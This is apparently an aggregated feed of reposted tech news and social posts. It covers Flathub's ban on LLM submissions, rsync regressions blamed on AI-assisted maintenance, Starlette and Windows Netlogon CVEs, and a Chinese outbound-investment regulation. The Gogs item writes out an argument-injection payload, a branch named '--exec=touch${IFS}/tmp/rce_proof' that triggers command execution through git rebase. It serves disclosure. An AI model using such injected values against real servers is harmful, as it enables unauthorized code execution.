📸 @Billchenchina shared a post from Instagram

Flathub disallows LLM-based submissions

Comments

via social.treehouse.systems via FedericoSchonborn

Gogs RCE (NOT FIXED)
创建一个名为 --exec=touch${IFS}/tmp/rce_proof 的 branch
git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'

https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed/
https://x.com/_CryptoCat/status/2059987039198601673

rsync was basically done until the maintainer discovered vibecoding

https://hails.org/@hailey/116657391001259044

I actually worked at the same place as Andrew Tridgell, over a quarter-century ago. I got to know a few of the OzLabs folks during their immediate post-IBM years, and always had the highest respect for them in that way where you feel acute impostor syndrome when they're in the room.

Tridge almost walked backwards into implementing the Windows SMB protocol (he was just debugging some funny NetBIOS extensions IIRC). But his paper on the #rsync algorithm was groundbreaking, and actually writing the tool to implement it was brilliant. It's become one of those tools like #curl that just forms one of the major structural supports of the modern Internet. I still remember the day that the SSH transport became the default, and I remember being able to thank him in person when he came to the San Francisco office (although IIRC by that point he'd handed control of rsync over to mbp).

I remember at my next job he came to a summit of folks working on print driver/spooler software. When he pointed out that some problems were effectively a cache-consistency algorithm, we all kind of put our fingers to our temples and said "Oh wow, you're SO right!" He was always insightful and sharp, while being gentle and approachable.

I write in the past tense because I haven't crossed paths with him in two decades, and only know what I see him put out. A friend of mine in Australia noted that he hasn't posted to the Canberra LUG list since 2020, thanking someone for congratulating him on receiving the Medal of the Order of Australia. He's very much alive, but from what little I see I grow concerned for him.

In 2024 he took over maintenance of rsync once more. The 3.3.0 release was the last one from the previous maintainer, and Tridge is currently working on 3.4.x releases.

Well... Tridge and #Claude, it seems: https://mastodon.gamedev.place/@JeremiahFieldhaven/116654345332213390

The issue tracker for rsync has recently lit up with regressions, showing features that worked reliably for almost 30 years are suddenly coming crashing down in 3.4.2 and 3.4.3. People are scrambling to find ways to pin rsync to known-good versions. The considerate, incisive mind I briefly knew is letting the stochastic parrots do his work for him, and it just seems so astonishingly *unlike* the person I met back in the day.

I am still willing to give him the benefit of the doubt. I hope all is well for him, but I will not cast aspersions on his goals or his abilities. No, instead I draw this conclusion:

If TRIDGE of all people can't handle #LLMs without a slopocalypse, no one can.

That means you. That means someone you admire who is intelligent and careful and considerate. Not even someone whose opinions on technology you respect a great deal.

No one.

https://teh.entar.net/@spacehobo/116659545246426837

🧵 https://wandering.shop/@xgranade/116259862366462379

(repost)

starlette CVE-2026-48710
Starlette is a lightweight ASGI framework/toolkit. Prior to version 1.0.1, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed. Users should upgrade to a version greater than or equal to version 1.0.1, which validates the Host header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing request.url and falls back to scope["server"] for malformed values.
https://news.ycombinator.com/item?id=48277107
https://lobste.rs/s/xvdvko

中国国务院对外投资新规：投资者未按规定履行境外投资核准备案手续，责令改正并没收违法所得

BlockBeats 消息，6 月 1 日，中国国务院发布《国务院关于对外投资的规定》，其中第二十七条规定：投资者未按规定履行境外投资核准备案手续，或者以提交虚假材料、隐瞒真实信息等方式申请有关核准备案的，由核准备案机关责令改正，没收违法所得，处投资额 1‰以上 5‰以下的罚款；拒不改正的，责令其停止该投资活动，限期处分股份、资产，处投资额 5‰以上 10‰以下的罚款；对直接负责的主管人员和其他直接责任人员处 2 万元以上 5 万元以下的罚款。

投资者以贿赂、欺骗等不正当手段获得境外投资核准备案的，由核准备案机关撤销核准备案文件，没收违法所得，处投资额 1‰以上 5‰以下的罚款；已经投资的，责令其停止该投资活动，限期处分股份、资产，处投资额 5‰以上 10‰以下的罚款；对直接负责的主管人员和其他直接责任人员处 2 万元以上 5 万元以下的罚款。

原文链接 https://m.theblockbeats.info/flash/348709

So CVE-2026-41089 (CVSS 9.8) in Windows Netlogon can be triggered by sending a username that is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA or longer.
How original.

https://chaos.social/@christopherkunz/116676363651530592